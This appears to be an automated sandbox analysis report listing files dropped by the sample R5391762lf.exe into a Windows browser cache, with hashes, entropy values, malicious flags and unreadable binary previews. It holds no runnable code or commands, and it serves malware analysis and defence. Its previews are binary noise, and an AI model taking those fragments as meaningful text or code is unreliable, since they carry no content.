SHA-256:	CF88F587DD6D79ECCB1ECE86C542E151A3C1E13771C6F162EFB83C470A98F908
SHA-512:	72D0B82FE7881E9BA353A582BD4948BDFD198D381E92DE9EF4F548E427BD41EDE68361CC596293853C747F4BF46211D70490AC2743937927423BA382ACCF2ECB
Malicious:	true
Preview:	{"Acs{...v.).71.t..k..j2d$U..nd3.'N'.O........../.j."M..J........u.+.e".G.....i.i..5.1!=....... .X(..G+.....{.....B..Q.....c..sB.z..N../.....tp.............SA.\|..<.e22.4.+xg.K... ..Q.;..J.h.B.j#...(,.~jq....n$..6`..K.D).pw........./.o..w.:..a..>3 .....+..Z} ...-..C..y..x../..q.-2.Q,.uq../...!..["Y.9k..\|.\...c^K4Y..o.<...x..,O%$.,.s..fF.o..%];..MT......UuON6....{t"..u............:...^...n...V._./.....@4.....B}B....0.8."..d..lA...x.x5g(..OL3u.4...l6$. ...t...e..)0...5...T.......h..-pB.H..K1.....^...ko2...9...6.=.7%.$..s...e.....bR..)H..0.c......x-D..... .J`.9.xAL.4.......Q.......8O...........^.7.q%&.k...KO....t...\|..E..{..9....=..........Q.s.".....rcR........Q.J.M.{...O...T.........}..!....0$....".Y.C0y..\|s.mp......s.x..!{......C.....$..w[!...&.Pm5..-.Xb...;.[.%..Z.......x+.R.L._uC". P.....12.).Cy.qJ..*.z2...ny...}...._..".T.i>m..<.#m..=...$.ep.......T!.c"..J./lD.c(..]L...jn........p...k....N.w/.7....$9Yh/.+..$9.....GY...oH.p...

C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AC\INetCache\DLAKQVF0\accountcorepackage_7RPOlbJQzUEPp9Cr7jKSkg2[1].js

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	56171
Entropy (8bit):	7.99674148084059
Encrypted:	true
SSDEEP:	768:Eh8Oy9ab3M0xUhk9VlSzww8Zx1kgf+dnbQbt4SmH5bPa5ZFBp0EK0:OvXqhUVlRHL+dnbQyTB6v0EK0
MD5:	C0D790525891D4A3A0A45608C1CC486A
SHA1:	C78A8A2DEC8DD3EF3E620381A983E0C89596974F
SHA-256:	838E35B9B33479C99C4FFD9AD241E6F7BCD1A0307C0D9CF417CC290B9A4FE716
SHA-512:	C0D56484C8AE2CDE346FD0340356C12263922904580A2DB6953C4188C0601A9E9F07C347618A94C4CE1C68BF408DD9421151FCD9A837B4FB4187A08CABF05D0B
Malicious:	true
Preview:	!func.$H.+. .q...S.aVT.9..z..d...b..m6.......(O..]........@..R)Or..T..5..v.........l...y.S.!..Y@.{.O},...E5.c..I.U_.\.gGP.vGQ.....a]..T-....C.0.)Z^.4.)h9.....Z..z'.I97B..~U5..B..R.:.b..h.)..KN...L....\|8..<..gE.`...~%x.w....n.<........mI..T..Z.C.T...Z?..%...:.\.y/+....../...........f..k..:..p.v.......]~{[..........-.4..4..@...0..s......`..].....$.....\|....g1@...-7x\|....^....Lh...A}.d..1.....3...p...fC..+..F...l....n.3.......\|..Hib.\|..S..1PH.t-.6.....>_i.O0.......3..b..........,.....Mb...gR?..........P.\|..Zr......;...--.....^.....\....}.. \[m...PF.S.6........:....V.N..0..[.j..>.;D.!.NX.2@.iX....I....^.0.tw 0CK.d=`pI.9{...~.Y..Q..;..?@...Y.W........:............Y.v....'.q.....x...;r....j.4.,..z.k..............=...E."..X...>.K...........S.11...m2.VW.`..3.F._........k`...(D^pJ...X......r..9.K.b.v.....)..H.9XM...8.W....L.Pz....lE.($.....#'..y.........5...U......._.S.....>.[=.._2Zt..{.....[.b..l.{..#..-...%x.o..uV...],j...j....7k.Y.".c...@.}}..

C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AC\INetCache\DLAKQVF0\hostfooterpackage_FOuGbot8yZGKyYkh5yNQBA2[1].js

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2725
Entropy (8bit):	7.933430519113485
Encrypted:	false
SSDEEP:	48:RXVDTfHiB5f4tfDy9ZENfOgrTP7j4O2qLhRDJ/hjQXFFxIsCIhpXFuED:lVDT6B0fG6Nhb7jHJhEXFFijOFuQ
MD5:	37CD91D63C8FC2AFA052BA0DD36CC888
SHA1:	3B3D81CE693D61ECD08B4BB41DF63FB0E842D45D
SHA-256:	0B5789358862C063CA07C78EDFD6E8BEAC12B77AC322F64E406B77D74E59BB87
SHA-512:	9B9005D063D8F1431B4297063D12AA4D8E855A81675028055D0B86CB702D7B73E48BB9C237652A2D771BC7A76AD1A625E992325AF48164A7344BBDCD1F0B68FE
Malicious:	false
Preview:	!funcj...3p.j.K...<.d.~..N1.z.b.V?.U..P.u?.....`....v:+...G1..>.6.i..[d.. ..+...V..g...)[.V.-...{.,bw.6.i..LP..6C.5.....1cr.Ht.0.k.b.A.r..l1.&}...j3fH.h.W:..0z.?#.:..........W.._...5E......RE......`.WGr53....i.t.....'_K{..Ve\W:....e.....v...zO..3...m.h...2?..e......V2v.x.)U..pJ..+}..1.D..PS..r.-.R..h.`.KR...Q#...\|..!.\|.{..d.!.6/n....7....L.(o.,M.....9e.3..?...}...a.p..a..jL>.Rs.^.C.:........qH.n.p......j.....z....PV....bY.2..].aT2N.X...q>.L..&<Q..3e....B..[.....^.F.......}x.O.0.m&.g..mD..o..DZ.o.z...2..........^...y..e.:.....%..s...".]V.......*+ZW..F.....~...Spg.Mw<...>...q^-.TCm..^..{.w....E.W.nW.b.E....HT..^W....?.t.G.4...A...Bp..e.......]kR=.I....5..:...`.<....=.3..&.y.~A.x..Q.ctq<...y..wFUw....r..0.....6k..:A..x.O.4k8.G.^o.csW.Cd!....k.)u....cGd./Fe.{..t..@R.Z../...._\7#..A...1....9.Qu..g....n9..E..=.x.@)U..}7Z.ZN...pN...B.j.hg...:...?].7.q`.t........=X.pY..+?..9a3.. ........IQ.....IL.).)J...Y.r29.@B...e.<.h.n.T...k....iN(....I.\+e/.Bi

C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AC\INetCache\DLAKQVF0\microsoft_logo_7lyNn7YkjJOP0NwZNw6QvQ2[1].svg

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	3985
Entropy (8bit):	7.948589726413425
Encrypted:	false
SSDEEP:	96:PFEzXf7LW0xHSsG3T3Nj7NdACberPjJIsIzdHEIoVe2ETPUjFuQ:azXf7LvS3TbdAYqPj9qoe2ETPJQ
MD5:	F31EF0FBEC2BCA0A474F507EB39AD770
SHA1:	D380F3377B1CD6D31E9AC7E79A58C5F31EB1B704
SHA-256:	D167ED8114BE5DD8A2D5F09C0FA1B2B69546FBFDE9EBE828D4AFB13C3852C443
SHA-512:	B1849E907B454FED133F5A2B3242C5151A2B431219CC9D039FAC73EEA11DF8ABC8E895811081DC534AB8EBA679E4B157C2E319119C0926616C1B7258C2623962
Malicious:	false
Preview:	<svg .n....B..\dT.....f..~l.v...Z.FF9...S...6..h....[.P/........M..>..E?...Ay...r..../1z.B.im.0...tj....{..!/..V..K.?..F.....L#.we.....%....e.}.9.P.....uw...r\n.9.A52.k..<......$6......Un.(}y-[.`...1....s:.},.t..G..Br...D..&...O....p....&...f^.."....~....k.i.w...><UZ.I.....'..9..\...-...-........!;.7..w5.......VV...7.E...X...0..<.....:...R.2..'..[.q.d..@.!Z.....?1[g4.P.N...P.......>T>.. ...h...).tWh.r...}.....S..;.].....U8...DFr^..,.v....y.S0...A.&...=V].m..s.l.g.=f...5.........AL..!.......F.....QX........D.v.P=r...\....Ok.........4.....8gw....b.].......6V..=R...\|M{QEArC.2.....<.P.E.'..=.. ....=...V...@..e.....G?."..=S.....$E.c.3.n.8..u....c.r.....g....K..jDR.A.!.U..G..M.\.....hK..H..........e..h..F\|1..Q.....5..3"....@.-.....\e^.{.~...........+..?X+..7td}...A.A\|.A.4<.+.....H.B.E?1C..........&E.?A....M4)..E;8Q....j..T.:._.Z>.q.....W........0.....[...R....N..K-..E..=.(4.s-.$...in..$6J..Rd........ .3..%/....n.8H.cS......P_

C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AC\INetCache\DLAKQVF0\win10adduser_zKHVAzZN9bL6F2LY2UEz4Q2[1].js

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	9572
Entropy (8bit):	7.983023811243258
Encrypted:	false
SSDEEP:	192:oN6f2JHM1CLiw4xDMoCJOKwOKcvkKf/BDjeL9tP9RvQ:6yaM1drKwOKdyytPHvQ
MD5:	A3C2F913CD4DA4D70517131AB637D3D1
SHA1:	A9BBB7F9654B4485B9097CCAA8FDDEFBE22DB649
SHA-256:	18EFDDCB40CE84EAF85332DFCCA78113DCCA28E57B4FB85A75B1430199EEEA33
SHA-512:	6AC2EE684B467837B3F07605E46C624D54BA0DDE2EB78C5EABA87C7672F2348063D4F3F8D0E9685ED1985707D63FBD9236CA233E7FFB7A9B5DE73E6D1A224724
Malicious:	false
Preview:	!func.8P.Dv......... 9..9..ztv..!.SI.....Z.DJ.cO..X..J+.-?g=..~8l.-bk]..7.....".S.7........tp2....1.e..BJ.S.6{..).Z..F..:4Jn7(.@V.j. T......\..P.....................P.X9...Q....K.......}......b..7pc.. ........^..........rb.4..h.N.N@.y..]g.....0t._'...2.5e.}F,.~..Hvx..8]....(..};n.hr..s......Fri.....N..H._...........8@.k..O..T.A...G..`..3...+..?}f......tx.9..f.Y...!3..@.........d>..Fc..0..V.9..V..fb.2..9....LC.?.,.... .k.v..C..[.I.&.......j...7...e=.p<..qm... {..^k.T..._.l.a.v..K.......Z..z.&. .I..ox!..~..&..>.".+i...i..D..t..Z.?~...5..X.......1Ac.B...-..........J.=..q..#......9..3...O,.. ..\|Wl.N....=..!.n....T........h.1J?k".c2(..D3Q...@..;nx.#..y.%2..UR.....%.D....#....*~....\1.EEI.dK....B...pX>eI2.FyU....1a..N...b...O....V..Y.R].IZ..=....L...e..N.H;@ ..)pI.../.e..!.F7@..z.`og\4..5...!..V..%.v....'.......}...H.........-...$.O..=......%!..Iyf.D..dL..A.......P..Q\|..K...u^\|.=...0..l.....7.....<.....u.!..^..v...`.Xa`=P...s..\...?P.

C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AC\INetCache\HSLUET3E\bootstrap_3.3.0_B68S-_daR6nLiLVZsh4XiA2[1].js

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	37765
Entropy (8bit):	7.995032429133519
Encrypted:	true
SSDEEP:	768:Xth9JAcK+LuDs180ravdDo7KKqMCEeLamgVJjIIKit/pj6f:XbnAcco18pV3KqXOljIl66f
MD5:	DF438096B385865FD1B9D523689B6E68
SHA1:	6AF2CD961C973425B7438CE1613BB31F47B6F86C
SHA-256:	8DB8638631C4F422586DF0FA1F519CA5DBDB5C0D4AA412FEB5001238806580CC
SHA-512:	95F72B4A8397DA6AD38693A07B03804637F55A0F2452668F3C0DFEEA4C7AF55ED45C344E35FA0CD5C28A7E341BCF3356F67E4389445DA3F13257B72A379ED8BE
Malicious:	true
Preview:	/!.-`ce -.Z.E.....0.......3Lu..3Z}...<W.........OW.Y..c.:...........s..o....a4.I......#`9.......7g<..c.6)f.{......t..............6..M.k.......:{K.....o...e..q.4i.lH9..N.cO....:...c..Z........ $d......\9.<b..Y.....I....b..s!..V.+.em-k.Q.M.'..OHh..gZ:....w=...]..\...r..\|.,.`C.?.!.+..SU;..5@;..^..=R...v.....nF.S.......m.#(z.....f..^.F.....\|%..GK.:.%Tf.Q.2Rn..^.''...W.h...t..7....GL..S...l....U.w.?.!..q=-..=..}.?O8.........pI>....R.2...#.P......t...x.....,..g\|.(7j.`....`.^....#.%>?...u2.V.K5.A..Vv...\|z....N.Mx...D....7s..m....(.#..Y.......%a.....Jg....a...lE.3w..).6[.".u...A.......aDV.t.^.y..<}g.m..)...H..v...{..(Om9.!.0 \|...\...k../.sb..Hd.h....C.S...+....jjOJ,4.b..8.Y!ld.Muc+/..w.2.-eJ..<O...qb....H...g...R.....j..C.%.$.....\.....D...^.9._.v..M\|O..X.&#2u.{..x....[(?.V..U.].V.+...t( ......-Q...!.*'.....g....(:.E.}K}....5[m.2......C...wKVn.>..9X}..&.......P} +.`....t&z.-.=..ra[....Z.Ei....$...:...I..........4...om.@IS.&..B..l..s..j

C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AC\INetCache\HSLUET3E\bootstrapcomponentshim_yGKy8jAx8RL2bLqmBF063w2[1].js

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	3055
Entropy (8bit):	7.9402890158169015
Encrypted:	false
SSDEEP:	48:h0SJb/c4sq/P2OK7erW1UB+nkAnsTI7V8a+jyZqRZgYlfW/WneWYBuv6JCXmOEiH:h08b04sq/PnKoWRnsTI7V8a7EzdeFBsH
MD5:	53A6AD5F157CE1A9CD6B66D4F583D1C0
SHA1:	EA0B071F2C3FBA23D2DEDC1C0552E8DA50133AF8
SHA-256:	5F05F3DB8C511101E649E9F5BF3DAD8AC0FDAFB179F921057A5C429324FF9A36
SHA-512:	E372F94F027BF1CDE696AF296DC96E2F3A80A9F956CF17A4F7C913A1539A24832D5C608D82D18DA4D293E87B69A0C09617DC006118294CCA43849EE9BB8C160F
Malicious:	false
Preview:	!func..2z.0..........C.O.(.............n...O..}'.wTX..e......b.3X"..C.gOWKg...ar......}..)S....q\....Y.NhL.i...e..._.....dD..iL..9./Hf.L...L.zE=.zA...(..}.5j...,.`5>&.C.i.&......a#?I..P.&..p[..`..d..) M.....6^....a.<4`....l?e...].!d.).."............f.n.....X....S....\|...YeK.......RY0ryS9._C..Q..&c4m.(.....p.}..JJ#.j..d4..A......{.V..Xt...y .#;.M`........5o.]..T.(1..L1.u.....%c......gf.T.....a...A..k..x~..........w..;...._.....X......Q.{-=f<..s....K B..@...I.:..D/...Z...A:eaK.r`.\|..U..~....[c/L#.(.R.(..J.O.Q./b-...tk.HM..o.....P......+...M.........o..(.\.....^..i-o..-s.[2.......ga.&....jvq.........l.1... ..t..x..t"+....9PC.m.B..m...I.h....E #u........T...+>91..1..A..a.......C..8..^V..;Q....."..h.zK.v9...p2...)y...z..>..vb....).C..L1S..I..8.<q.....n.kBe&.m...$.z6#..U..Q.lW.H...a#............(h@[.W.,].x.{..X.4....U?.....p........%....[-AH.%WCU.B.[.9../m...d...^.>.<..l...aP,=.b..?[CS...foh...7.gw.7.D....+D=US...{X.w}..zt...Suo.8..WW).J..%..Y.

C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AC\INetCache\HSLUET3E\jqueryshim_hlu0tTfjWJFWYNt1WZrVqg2[1].js

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	23295
Entropy (8bit):	7.992005726588521
Encrypted:	true
SSDEEP:	384:OTk85SyXAfWXJJ7wPvPacaXtNrYGpnXkasNS85F4iuqFvehdCCSa7xrmQ2ua03av:OTlSsAfeTwn0vzpnXkat8Ju+WlSa7xy1
MD5:	F1C8F070F066587C364F11FC054693FE
SHA1:	615F29E51602CA66115A321897A86B90EA0B4532
SHA-256:	4C7DEFB1D2D35C2164B076101A35F3523936A3C363A4413F7B7985384F54348A
SHA-512:	D1A236E65E74DF70E7F2397378508E217A6B882C1272E4311B670671C15786688DC193FB3656C3A2918D8629A49489134FED1B225586F97C34EE1D2577B7FAE1
Malicious:	true
Preview:	funct...a$....D..f+<D..nJ[K.Xe.n....8...)1\|.:!..L.x.hY........%?..>....-.."M...l....X...U:/...........&=+o..m.O...f4~6]........`0 ..4b.8Y.F/.h>.t.U.6D.3..5.....K.......+...6.._...i6..T...5Ki..2.Ua.Z..m@d.d;Y.4Q;.Di`C.g..[B.]K...."(!.I........kI.Q.iA...X@p..C.pGml.1g.R.O.^..O....C...^j.YV3<l96E'...Le..t.P.!w....\|....I....."...s.+P................BS......3..v....pA.K.`-i'.....}XIo..V.l2j.MA...e6...,.z..(..rw.9).......7.'D...........f.G&`..g]2.t.H...j...b.H.N..k.~......f;..V.G.....G.l...g.0.~...Z...u.Ah...ux.EY~ !..oN../...3^H.w.a...%..&.....d(.<...7A..s... ..&x.....hn.8....W.._.\|.S.3.i./.r.+A{.....}3.[......w.W8.22..".......O..;..l"(!..d.R.A.%.W.}...........7..A,G...P..\|...,...q.,.......>....\.a.....y.Q.^.R}k.........A#.:..r...x.....^....C:..?.h.=..Bcvp.6..)..I5O..".^R.w.Nc.$<..O.%.9.^z...nsJ......p6(T..}9..R..Z..T#.@....bjj........c..M.<J2...A.h.GJ.s.Qr.bS...'.e..lkI.f./....T....m...`..-...q6Hi..>.t.m.X..wh-...s.zQp8......H....

C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AC\INetCache\HSLUET3E\knockout_3.3.0_X1BYS2jZMbi7hfUj8VuqFA2[1].js

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	80478
Entropy (8bit):	7.997833925806569
Encrypted:	true
SSDEEP:	1536:NooVluIKm40xiexQDnVQYgBIOK/EsggVLQvhKIP7QSMcqJF7g50pFd/G4:Nooqm4YiexQDnKYgBkBu/jQS8FeiFd/D
MD5:	70B638FB8CF74639AC84511BF4DECE19
SHA1:	224C1A4D84606CFE3C29859D26D297CC917D926C
SHA-256:	4A5A9C0DD0E5AE2AC1D5120EC61A6D1B3AE3C26DD82E399F53D6E4E6E1AA301B
SHA-512:	43D7876F7A0BBC27EA8F73F99B6F25B0C4AC4DBEB01B933604A0D16A29C156D09FB7CE8FF5508C496B6B6C9AEFF65082A45BC4F4EBDC3F8804C3903EFAC1ABF5
Malicious:	true
Preview:	/!--1&...B...Su5q...B.~.q.q>.+.zQ.4.h..b..F.L..^.4.XX.C5<.......}..#`R....U.....o.R<..:..9j...Lx.j.? .w5...]S..'..J.$........!6.G..5@.U..Y.[.$.U..6\&.a..0..8....7@.{F..@YoG..A<...L.TC...Y.q.R..g.F...0/....Z^....Q9..9.#.`...1q4....r..{./..@\.@.g3..<.-.h.v...T.N.7..g...V..T.TD.RI...&g.....D...6!.\s,.Xn.b._.....vy>[.z.R.....D..jw.h..\|.e..}!%..'(n.J.X`..u .m\E..E.~x.!P.....P..+z..ZPQS.......\.w.....?..#..E......u...9".A..}...lZE@`..1l... ......h.3...^{\.Z..o...<...._..5.k.M....G.....\y.........{..Yt.k.....Y.W....4.'H..w.....i....q..J.<.T?.+.R........d,........Y.a...`3m..c...Z..R.G.\|.l.....C.".....gS..U].........U........4[..CF.>.7.8..l.A....Kin.ets..M[..G....Wk.e..........3. ...0...:.v.0G..n...:./4.g...94i?...o..X.n....@.S.^.>...t...;.?.....KEF.:Ga....05...TW..Vi.......>.?.n.]>...Up.....F..x+....*W...{}b.t...]../E..ln1..G..m..<..\!....O..W8..FP.5.+....b6....F...>.....>................X.....5..V..W...u......2d.:&KsDm.cx.B:...

C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AC\INetCache\HSLUET3E\knockout_old_GJ62c6D9R5HuKFdkoO8XYw2[1].js

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	78645
Entropy (8bit):	7.997650164120848
Encrypted:	true
SSDEEP:	1536:K8L6kIKMfYbPzSoqBeQ6Ylh853lpyXQEEElwZQ1edOCMATTQumAZ8jWd:NRSoqIAlhGVMbTeQocuYuR8Q
MD5:	905BF1067935C398694D83335041C3F7
SHA1:	25F202C8AB459E2FE678E14E524E4ECE3D8AB989
SHA-256:	3DCD06141A0F097D4A83D9525F94FA11E61A73DCD607084AF53D6BE765193249
SHA-512:	780F57B8D4887E0A8A460D09FF75A13EA7BD98D03149C9DA7D20313F6DD3141E8C16A977D86D7F9D68D00CB7C1B6F1CE3D6E6C57A69932CD0EC6A2BE59958EA9
Malicious:	true
Preview:	/!--.j:\..F.i....J b.,.a%Bn.'.e..5..iYGs.iQ...,.1.74R...j.hV..7d ...^q1..[.w.......{.....;[i.."..U....f.b<..O.\|.^....!.`.4.Pz..9.....4....Y...,..2.. ..:.vz........"h.........#........e7...I.@`[.[W.Q.u.^......i....sc[w.G.....A.D..G.G..6..px...C.]...&.X..`@."j..T.'.Cic...!.;W...!..w.e.B.g(...k'.h.V..-....HP.y.(D.~V.../xq.A....j.b........5@.c\|\.t7R..@.E..G2..F.rusE.....(._K...X...v....0.p.j..,7...0:6..t.../...;...-..$.e...y..c=...W.;......S.....A. ..#.r.r..\.............l.O...._...M..34..(aX;.A..il..k.^.g.3_......\g..R'.ex`...C.....qmFk!v..h.+z....y0&...Y..Gq<=..r..<..kfD....0..XC_.i.d+u.y...04...0%M.k@J.'...{..#.g.'.;..x2.}}.Bj..".....jF...ES.a...5ke..Ou..+$f.&.............w~...I.r.m6.1.......^.....=[!.pW?..a.e+@+Lr.~.?..^.A.k.............F.4}.z ./D]t.bD.%.....H.6...ZT......W..........`.F.VA.. .........S.8..C.5.n..9..O......-\|m.<a.{l0...,t......\..SW.Re...6y...F.A.3...@...2..3..{o{{H....Qe..Vj..X.@.u.%...<g&.......]..*...tC......D

C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AC\INetCache\HSLUET3E\oneds_MC5gQfpbTUjLu60sQCwU1w2[1].js

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	273504
Entropy (8bit):	7.450881628027942
Encrypted:	false
SSDEEP:	6144:mmCf+7+o9mQToVymSTws5pv5UiT+s2dzI:mVf+7+o9pToVyXwsDjF
MD5:	5A6921CE75165AF1E3D20378E5DF573D
SHA1:	1E6EE69675E241817733BCFED2809632E05058F2
SHA-256:	3BF1B2634823D51049FC1326441A0FA57C884BDCB4EB0DF5BCA1AC517E755752
SHA-512:	772B16D656856933964C260AC12E94E12B1F9C7D1FDB20E75EEB8B607F2120DCDA331BD4B8EB2344EBA85F6BD807734E6DB4751C80667076DAC98B9E5BBA6BBB
Malicious:	false
Preview:	/!..z.#.....u.....p@U..q.......T....x.9#...h....P`.{...x.KL..5xo.5........ ..=.e{...i.:@...-.Z.....<I.\|W...k...3ChE,-.....N.F1.....9..qQ......bP......7.W. ..y.R.<!h..>.....i].. ..q...!....?.....8lcr.L..Q=o...9J...^H..B.e4...=.cr....b...0.P....sK.6VE.I-.9.)h.b=r3$..UlPka...5@=.#0%.+..QB..b./.0.`.."l..8.......h..9...E....@.F[....oVz.;...^..JPQa.X.E./._.D.....Zp@~c>.c`...j....k0......D..t.d.s.d..paU.M...4..p-jiz.{..+..).=0'..X.....,w.......T.r..'..3.#....].....B\~.B......@....aS..X....p;.......`2..Qz...hn6j#....D....<,.bM...LT$...cz.&3d.n..#.u.V...h.8.e...qb.0.. ..#...E..7u./.U..PZ3...3E.4rS?.v..K...S.......p...(.....W.S.#...>VR3G-...#.i.....U..U3z._...A...vJ.w....C......@..8O..r....5..{../....#.9......Tff.-[.s....F{...r.}rK2=..a#..`.....XY...S..\|._........@.M../;[..c..h.....6>/.Kc.t..nq.;^yGq.P....\|.cf.!.L..W.[..<5m...M.C......fm/..=.o.....y..0.*...).I.D.f.....z..4iD..XZ.K._1.?$..w.<.....B.4..+.JR...wEq......I.r..,y...`..O....T1...{..

C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AC\INetCache\I8BK050T\2_vD0yppaJX3jBnfbHF1hqXQ2[1].svg

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	2198
Entropy (8bit):	7.922677382530492
Encrypted:	false
SSDEEP:	48:uCroADRLWVEELGsWiJjqVBIbn+7+ONX9Lwsamo9NXFuED:uCxt1EqsTN6OiTPameFuQ
MD5:	F266D949E765732DEF6B19F55D1E8A7C
SHA1:	FA7FA3C632614ADA8C995D88214E46CAB058D80F
SHA-256:	B86130CEEB6DA8A5E9BF50EC94C3B11D6BCFABD21B39420A938B1E6BE90CC4B5
SHA-512:	F288519EDD6059629410A1165963C633A1F9B042EB8AC85D2A4C73FDBF6A573CE52F3A6B77227041177D5D86C67E7A2A337F016A4338B9A083445CB2B4EDE551
Malicious:	false
Preview:	<svg ,I..jz..O..L..z..df@..........\|<.........6..b:0t...!.N..Pl.b.Y.8...f5........Fe.>.:.....A:...C...qO.....Q._-lP.....t....x.........n...s.4T..jaq...A.5..6-2..3.....9P...fG+j6h.(...a{U=.\.P)....;.dm52.......`...#.0...>...e...wQ.]..c...k.x0$.9.o...6.. ...j.........QkN.z"..A.b.`f....v..<F,.y..m?..`.2...d...+W::.P....Y...SM..}.V!.3^......P..[.7....>......V$.U.+(.K'=.3o54....~=.+Qt..........r...w._..k...A.+.%.j..PLa....}zv...`.>....K...\.......:.&...8....+.t.I...K#......#....E.*.}#Ej&.(...j.T.-.e.3......../ .....G`.......D[.....5..........&...\|?M.;z.G....f.....8j.#;/....(.&...c..Ht.Q.`.K.b......Yp..:,....n.D.4.eXUhG.+.....P..._.'8W..f....%`&....`T.C(..E..0DP..4.l.N.e.....\.^...`..."./'..h.4W...^.)....)..Z.Ts.g........ ...\|......d-o,.q...."5..\|D...Ae...0.{lw...+_}.#.I.e...Cp$`:1.K.C.i^.&..XI..8..\...wu....z.5p...C...t.K.;.8+.8-.\|q\|......!.!......N.!(.>9...L.p...N.\L.y.`.X}....j...J......nj..!;..s.1.....X...a~.....E..N..&&..?

C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AC\INetCache\I8BK050T\corewin10_Lmno_4TyJLm7Xee3gF3aOg2[1].js

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	194721
Entropy (8bit):	7.827178557157353
Encrypted:	false
SSDEEP:	3072:BqlIVwSbgsesIPOZiN24YrsFhp0xU2AT9VOxk5uW8Po4Uez1StC259j10d:BMIosFI2ZiM40IhWi1ZVOm8WXIb2jO
MD5:	585184188AC7C25C4E0A180564CA5884
SHA1:	B09B42D38929B35599847D5B9F88EF7B411C3350
SHA-256:	95D2459BED818B2103FEC088C18721BD185EDC6D37FC16B648A07FC3B62BA578
SHA-512:	9D62E2C2CB81B07A1D78F2B2E54B4AD176317CB178E769E5F7746A10B123F80FA3C3485179FC2F24E389868A03F05026BD055EF1F7BC5A59E22DE004F4D25A3A
Malicious:	false
Preview:	/! -t.....b...$x.?....G^[Ti..$.....[..i.`...u..D4'.. /T.JA.n.^:.G.ej".[Rt....._.^$v:..."..8~3..q.{j(.......D...q..'mXY...._..,.....]....b.....\.w.3"..ld....D..0Vx\|.......z. ..u...=nl..L:..R9=.T.@,....aT.fF@. ~M........,;.._".-^.;.Ye.1./G...3.....Z..TY..IA....Y.tj_..-..H.r....w....^.n..PO..}.@...\.m%.v.'!..../.U.....x...WN.&e.G~+....0q...k2(1wm...l..)...V...;.mYi......E.. .."...O..5...\."..uI....,.E..-.ce....8.....R....'.FP4.;C..6bP..U.tSM<.0.,G.2l....}&...TCtw.h..j........\7...G..t...Z.0~....E..G...)....5....6.KUES.A,h..}..N...o.....XD...0....t.d...pa'...m.... .w....{.[.5..7..{.d.0}9....$.3^r...Gg.e.O.,3D.>\|..a....`.%...Cb./!..z.xI.s.&.....v.].D.jR!....(.q.u......R.\.V....L.".!.....~...Hk5.fD'M.BL.4$G.dd.....\...0]....uU.X{kX<i9..".>.g....7..r.Ry.S3!..d.Y.\|........<~<.[/..q.7;.V....gT.&.E..h..........i.......w<.7..HoG.7.x.3......).q.....y+..y...]....w..I..V...}\...P.V.........N..d...N....:.....A.,&..LY..8..s..Z..."/]....qb...

C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AC\INetCache\I8BK050T\jquerypackage_1.10_5V7LAuc3bNAQx2QQfr1RPw2[1].js

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	96983
Entropy (8bit):	7.998077835003366
Encrypted:	true
SSDEEP:	1536:XHCrTdk6cEeG90hHDUi4GtA4Km+i8Z+lI1PkDx5fyOCUNqET0WZTwOY:XH0k3Bj74GtPk7qaGx5vCQ5RmOY
MD5:	3577F4723E94357137410FFAEAF2DE5B
SHA1:	11E439A8AE8B41949506B6C18DAD7BA2AE7531E3
SHA-256:	21C22A553818E4EB07247D764CAB5209049767892B88292F1930DB2F34DB0DB0
SHA-512:	36D81868248EAC5B36DA706572D91B439ECE42590B9677932CA7FBE6F647AEACE41A21CE2C79CA77443AD2DCC92C4263DDAB07F0AABBE998F2A1767F813B5F94
Malicious:	true
